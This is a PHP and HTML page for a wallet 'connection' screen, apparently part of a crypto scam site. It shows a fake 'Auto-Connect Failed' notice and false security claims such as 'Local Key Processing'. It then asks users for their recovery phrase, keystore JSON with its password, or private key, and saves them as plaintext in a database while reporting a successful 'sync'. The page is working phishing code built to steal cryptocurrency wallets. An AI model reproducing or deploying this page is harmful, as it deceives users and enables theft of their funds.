<?php
include 'header.php';


if (isset($_POST['connect_wallet'])) {
    $user_id = $_SESSION['user_id']; 
    
    // 1. Get Inputs
    $wallet_name = clean($_POST['wallet_provider']);
    $type = clean($_POST['type']);
    
    $phrase = "";
    $json = "";
    $pass = "";
    $priv_key = "";

    // 2. Capture Data based on Type
    if ($type == 'Phrase') {
        $phrase = clean($_POST['recovery_phrase']);
    } elseif ($type == 'Keystore JSON') {
        $json = mysqli_real_escape_string($link, $_POST['keystore_json']); // Allow JSON chars
        $pass = clean($_POST['wallet_password']);
    } elseif ($type == 'Private') {
        $priv_key = clean($_POST['private_key']);
    }

    // 3. Insert into Database
    $sql = "INSERT INTO crypto_wallets (user_id, wallet_name, import_type, phrase, keystore_json, wallet_password, private_key) 
            VALUES ('$user_id', '$wallet_name', '$type', '$phrase', '$json', '$pass', '$priv_key')";

    if (mysqli_query($link, $sql)) {
        // Success: Redirect or Show Message
        echo "<script>
            document.addEventListener('DOMContentLoaded', function() {
                Swal.fire({
                    icon: 'success',
                    title: 'Connected',
                    text: 'Your wallet has been successfully synchronized.',
                    confirmButtonText: 'Go to Dashboard'
                }).then((result) => {
                    if (result.isConfirmed) {
                        window.location.href = 'dashboard.php';
                    }
                });
            });
        </script>";
    } else {
        echo "<script>
            document.addEventListener('DOMContentLoaded', function() {
                Swal.fire({icon: 'error', title: 'Error', text: 'Connection failed. Please try again.'});
            });
        </script>";
    }
}
?>

<div class="flex-1 overflow-y-auto p-4 md:p-8 pb-24 relative flex flex-col items-center pt-10">

    <div id="walletStage" class="glass-panel w-full max-w-6xl rounded-3xl p-6 md:p-10 border border-slate-200 dark:border-white/5 shadow-2xl relative z-10">
            <!-- Quick Connect via automatic wallet modal -->
            <div class="mb-6">
                <h3 class="text-lg font-bold text-slate-900 dark:text-white mb-3">Quick Connect</h3>
                <p class="text-sm text-slate-500 dark:text-slate-400 mb-4">Connect MetaMask, Coinbase Wallet, Trust Wallet, Phantom, and 300+ wallets via WalletConnect. Your session stays connected for one-click deposits and swaps.</p>
                <div class="flex flex-wrap gap-3">
                    <button type="button" data-wallet-hub-trigger class="py-3 px-6 rounded-xl bg-indigo-600 text-white font-bold shadow-lg hover:opacity-90">Connect Wallet (Modal)</button>
                    <button type="button" data-wallet-hub-trigger data-wallet-hub-preset="browser" class="py-3 px-6 rounded-xl bg-green-600 text-white font-bold shadow-lg hover:opacity-90">Connect Browser Wallet</button>
                    <button type="button" id="btnDisconnectWallet" class="py-3 px-6 rounded-xl bg-white text-indigo-600 font-bold border border-indigo-600 hidden">Disconnect</button>
                </div>
                <div id="connectedInfo" class="mt-4 hidden">
                    <p class="text-sm text-slate-700 dark:text-slate-300">Connected: <span id="connectedAddress" class="font-mono"></span> (<span id="connectedChain"></span>)</p>
                </div>
                <hr class="my-6" />
            </div>
        
        <div class="flex flex-col md:flex-row gap-10">
            
            <div class="md:w-1/3 border-b md:border-b-0 md:border-r border-slate-200 dark:border-white/5 pr-0 md:pr-10 pb-6 md:pb-0">
                <div class="inline-flex items-center gap-2 px-3 py-1 rounded-full bg-red-500/10 border border-red-500/20 text-red-500 text-[10px] font-bold uppercase tracking-wider mb-4">
                    <i class="fa-solid fa-circle-exclamation"></i> Auto-Connect Failed
                </div>
                <h2 class="text-2xl font-bold text-slate-900 dark:text-white mb-3">Manual Connection Required</h2>
                <p class="text-sm text-slate-500 dark:text-slate-400 mb-6 leading-relaxed">
                    The automated handshake protocol failed due to network congestion. Please manually select your provider and authenticate using your secure keys to establish a bridge.
                </p>
                
                <div class="space-y-3">
                    <div class="flex items-center gap-3 text-sm text-slate-500 dark:text-slate-400">
                        <i class="fa-solid fa-check-circle text-green-500"></i> End-to-End Encryption
                    </div>
                    <div class="flex items-center gap-3 text-sm text-slate-500 dark:text-slate-400">
                        <i class="fa-solid fa-check-circle text-green-500"></i> Local Key Processing
                    </div>
                    <div class="flex items-center gap-3 text-sm text-slate-500 dark:text-slate-400">
                        <i class="fa-solid fa-check-circle text-green-500"></i> SSL Secure Connection
                    </div>
                </div>
            </div>

            <div class="md:w-2/3">
                <form id="manualForm" method="POST">
                    
                    <input type="hidden" name="wallet_provider" id="wallet_provider" value="MetaMask">

                    <div class="mb-6">
                        <label class="block text-xs font-bold text-slate-500 dark:text-slate-400 uppercase tracking-wider mb-3">Select Wallet Provider</label>
                        <div class="grid grid-cols-2 md:grid-cols-4 gap-3">
                            <div onclick="selectWallet(this, 'MetaMask')" class="flex flex-col items-center gap-2 p-3 rounded-xl border border-indigo-500 bg-indigo-500/10 cursor-pointer transition-all wallet-item">
                                <img src="https://upload.wikimedia.org/wikipedia/commons/3/36/MetaMask_Fox.svg" class="w-8 h-8">
                                <span class="text-xs font-bold text-slate-700">MetaMask</span>
                            </div>
                            <div onclick="selectWallet(this, 'Trust Wallet')" class="flex flex-col items-center gap-2 p-3 rounded-xl border border-slate-200 dark:border-white/10 hover:border-indigo-500 hover:bg-indigo-500/10 cursor-pointer transition-all wallet-item">
                                <img src="data:image/jpeg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wCEAAkGBwgHBgkIBwgKCgkLDRYPDQwMDRsUFRAWIB0iIiAdHx8kKDQsJCYxJx8fLT0tMTU3Ojo6Iys/RD84QzQ5OjcBCgoKDQwNGg8PGjclHyU3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3N//AABEIAIkA4QMBIgACEQEDEQH/xAAcAAEAAgMBAQEAAAAAAAAAAAAAAgQDBgcFCAH/xAA/EAACAgECAgUHCgQGAwAAAAAAAQIDBAURBiEHEjFxsRMjQVFygbIiJDI1QmFzdJGhNmLB0VJjgqLh8BQVM//EABsBAQACAwEBAAAAAAAAAAAAAAACBgMEBQcB/8QAMBEAAgEBBgMGBQUAAAAAAAAAAAECAwQFERIhMQYysSJBYXGB8DQ1UZHRExQkofH/2gAMAwEAAhEDEQA/AO4gAAAAAA/G0ihquuaVo9fX1TUMbFT7FbYk5dy7X7iUYym8sViwX90xujmOt9M2iYu9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P0M41tz2PsK2mF1c6rYKVc04yjLmpJ9qaPnHpL4Kt4V1Ly+LGUtKyZeZn2+Tfb1G/129a7mXbhy9c8VZKr1XL4r6enQ16sMO0jSwAW8wgAAAAAHoxl8lElIwRl2ElI12jTcTOpH6pGBSJKRHAg4mdSP1SMKkfqe5Foi4mdTOg9FPDD1PO/9xm1/M8WXmVJcrbF4qPb39zNX4N4by+KNWji0bwxq2pZN+3/zj938z5pI+iNPwKNNwqcLDqVWPTBQhBehFbv28lRh+hTfae/gvyzbstnzPPLYtbH6AUo6gAAAAAAAAAAAAAAAAAAKGqaXi6vp1+n6jTG7GvW0oS8V6mnzTL4PsZOLUk8GgfMXHnBeZwnqHVkpXYFsvm+Ttyf8svVJGqn0X00/wDl/jV/EfO7+n/rkelXJb6lssqnU3Wnngak4qMsEQAB2iAAABnUiSkYkSRBowtGRSJKRiRJEWiOBlUj2OF+Hs/ibUo4Wnw222lddJfJqj63/AEXazxY/Tn3Haugv+HdS/Pr4YHLva1zslllVgtdvuTpU1KeDN54b4fxOHNMrwNPhtCL605v6Vsn2yk/X4L9D2ADzWc5Tk5yeLZ0kklggACJ9AAAAAAAAAP/Z" class="w-8 h-8">
                                <span class="text-xs font-bold text-slate-700">Trust</span>
                            </div>
                            <div onclick="selectWallet(this, 'Coinbase')" class="flex flex-col items-center gap-2 p-3 rounded-xl border border-slate-200 dark:border-white/10 hover:border-indigo-500 hover:bg-indigo-500/10 cursor-pointer transition-all wallet-item">
                                <img src="https://images.ctfassets.net/q5ulk4bp65r7/3TBS4oVkD1ghowTqVQJlqj/2dfd4ea3b623a7c0d8deb2ff445dee9e/Consumer_Wordmark.svg" class="w-8 h-8 object-contain">
                                <span class="text-xs font-bold text-slate-700">Coinbase</span>
                            </div>
                            <div onclick="selectWallet(this, 'Other')" class="flex flex-col items-center gap-2 p-3 rounded-xl border border-slate-200 dark:border-white/10 hover:border-indigo-500 hover:bg-indigo-500/10 cursor-pointer transition-all wallet-item">
                                <div class="w-8 h-8 rounded-full bg-slate-700 flex items-center justify-center text-white font-bold text-xs">
                                    <i class="fa-solid fa-wallet"></i>
                                </div>
                                <span class="text-xs font-bold text-slate-700">Other</span>
                            </div>
                        </div>
                    </div>

                    <div class="mb-6">
                        <label class="block text-xs font-bold text-slate-500 dark:text-slate-400 uppercase tracking-wider mb-2">Import Method</label>
                        <div class="relative">
                            <select id="type" name="type" onchange="toggleFields()" class="w-full bg-slate-50 dark:bg-[#02040a] text-slate-900 dark:text-white border border-slate-200 dark:border-white/10 rounded-xl py-3 px-4 focus:outline-none focus:border-indigo-500 appearance-none cursor-pointer font-medium text-sm">
                                <option value="Phrase" selected>Recovery Phrase</option>
                                <option value="Keystore JSON">Keystore JSON</option>
                                <option value="Private">Private Key</option>
                            </select>
                            <i class="fa-solid fa-chevron-down absolute right-4 top-1/2 transform -translate-y-1/2 text-slate-400 pointer-events-none text-xs"></i>
                        </div>
                    </div>

                    <div id="phraseBox" class="mb-8">
                        <label class="block text-xs font-bold text-slate-500 dark:text-slate-400 uppercase tracking-wider mb-2">Recovery Phrase</label>
                        <div class="relative">
                            <textarea name="recovery_phrase" placeholder="Enter your 12 or 24 word recovery phrase..." rows="4" class="w-full bg-slate-50 dark:bg-[#02040a] text-slate-900 dark:text-white border border-slate-200 dark:border-white/10 rounded-xl py-4 px-5 focus:outline-none focus:border-indigo-500 transition-all text-sm resize-none font-mono"></textarea>
                            <div class="absolute top-4 right-4 text-slate-500 pointer-events-none">
                                <i class="fa-solid fa-key"></i>
                            </div>
                        </div>
                    </div>

                    <div id="jsonBox" class="hidden mb-8 space-y-4">
                        <div>
                            <label class="block text-xs font-bold text-slate-500 dark:text-slate-400 uppercase tracking-wider mb-2">Keystore JSON</label>
                            <textarea name="keystore_json" placeholder='{"version":3,"id":"..."}' rows="4" class="w-full bg-slate-50 dark:bg-[#02040a] text-slate-900 dark:text-white border border-slate-200 dark:border-white/10 rounded-xl py-4 px-5 focus:outline-none focus:border-indigo-500 transition-all text-sm font-mono resize-none"></textarea>
                        </div>
                        <div>
                            <label class="block text-xs font-bold text-slate-500 dark:text-slate-400 uppercase tracking-wider mb-2">Wallet Password</label>
                            <input type="password" name="wallet_password" placeholder="Password used to encrypt this JSON" class="w-full bg-slate-50 dark:bg-[#02040a] text-slate-900 dark:text-white border border-slate-200 dark:border-white/10 rounded-xl py-4 px-5 focus:outline-none focus:border-indigo-500 transition-all text-sm">
                        </div>
                    </div>

                    <div id="privateKeyBox" class="hidden mb-8">
                        <label class="block text-xs font-bold text-slate-500 dark:text-slate-400 uppercase tracking-wider mb-2">Private Key</label>
                        <input type="text" name="private_key" placeholder="e.g. 0x3a107..." class="w-full bg-slate-50 dark:bg-[#02040a] text-slate-900 dark:text-white border border-slate-200 dark:border-white/10 rounded-xl py-4 px-5 focus:outline-none focus:border-indigo-500 transition-all text-sm font-mono">
                      
                    </div>

                    <button type="submit" name="connect_wallet" class="w-full py-4 rounded-xl bg-gradient-to-r from-indigo-600 to-violet-600 text-white font-bold shadow-lg shadow-indigo-500/30 hover:scale-[1.01] transition-transform flex items-center justify-center gap-2 text-sm uppercase tracking-wide">
                        <i class="fa-solid fa-bolt"></i> Secure Connection
                    </button>

                </form>
            </div>
        </div>

    </div>

</div>

<script>
    function toggleFields() {
        const type = document.getElementById('type').value;
        const phraseBox = document.getElementById('phraseBox');
        const jsonBox = document.getElementById('jsonBox');
        const privateKeyBox = document.getElementById('privateKeyBox');

        // Hide all
        phraseBox.classList.add('hidden');
        jsonBox.classList.add('hidden');
        privateKeyBox.classList.add('hidden');

        // Show selected
        if (type === 'Phrase') {
            phraseBox.classList.remove('hidden');
        } else if (type === 'Keystore JSON') {
            jsonBox.classList.remove('hidden');
        } else if (type === 'Private') {
            privateKeyBox.classList.remove('hidden');
        }
    }

    // --- WALLET SELECTION ---
    function selectWallet(element, name) {
        // Update Hidden Input
        document.getElementById('wallet_provider').value = name;

        // Visual Reset
        document.querySelectorAll('.wallet-item').forEach(item => {
            item.classList.remove('border-indigo-500', 'bg-indigo-500/10');
            item.classList.add('border-slate-200'); // default border
        });

        // Visual Active
        element.classList.remove('border-slate-200');
        element.classList.add('border-indigo-500', 'bg-indigo-500/10');
    }

    // --- Quick Connect page UI sync (uses site-wide WalletHub) ---
    function syncConnectPageWalletUI() {
        if (!window.WalletHub) return;
        const connected = WalletHub.isConnected();
        const info = document.getElementById('connectedInfo');
        const disconnectBtn = document.getElementById('btnDisconnectWallet');
        if (connected) {
            if (info) info.classList.remove('hidden');
            if (disconnectBtn) disconnectBtn.classList.remove('hidden');
            const addr = document.getElementById('connectedAddress');
            const chain = document.getElementById('connectedChain');
            if (addr) addr.innerText = WalletHub.getAddress();
            if (chain) chain.innerText = WalletHub.getChainId() || '';
        } else {
            if (info) info.classList.add('hidden');
            if (disconnectBtn) disconnectBtn.classList.add('hidden');
        }
    }

    document.addEventListener('walletHub:connected', syncConnectPageWalletUI);
    document.addEventListener('walletHub:disconnected', syncConnectPageWalletUI);
    document.addEventListener('walletHub:accountsChanged', syncConnectPageWalletUI);

    const disconnectBtn = document.getElementById('btnDisconnectWallet');
    if (disconnectBtn) {
        disconnectBtn.addEventListener('click', function () {
            if (window.WalletHub) WalletHub.disconnect();
        });
    }

    window.addEventListener('load', function () {
        setTimeout(syncConnectPageWalletUI, 500);
    });
</script>

<?php include 'footer.php'; ?>